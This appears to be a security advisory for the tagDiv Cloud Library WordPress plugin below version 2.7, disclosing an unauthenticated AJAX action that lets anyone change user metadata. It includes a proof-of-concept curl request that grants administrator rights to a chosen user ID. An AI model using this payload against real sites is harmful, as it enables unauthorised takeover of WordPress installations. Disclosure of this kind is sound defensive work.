tagDiv Cloud Library < 2.7 - Unauthenticated Arbitrary User Metadata Update to Privilege Escalation

The plugin does not have authorisation and CSRF in an AJAX action accessible to both unauthenticated and authenticated users, allowing unauthenticated users to change arbitrary user metadata, which could lead to privilege escalation by setting themselves as an admin of the blog.

PoC

To set the user with ID 5 to an administrator: curl -X POST --data ‘action=tdb_user_form_on_submit&userID;=5&formElements;={“content-fields”:[{“name”:“wp_capabilities”,“value”:{“administrator”:true}}]}’ https://example.com/wp-admin/admin-ajax.php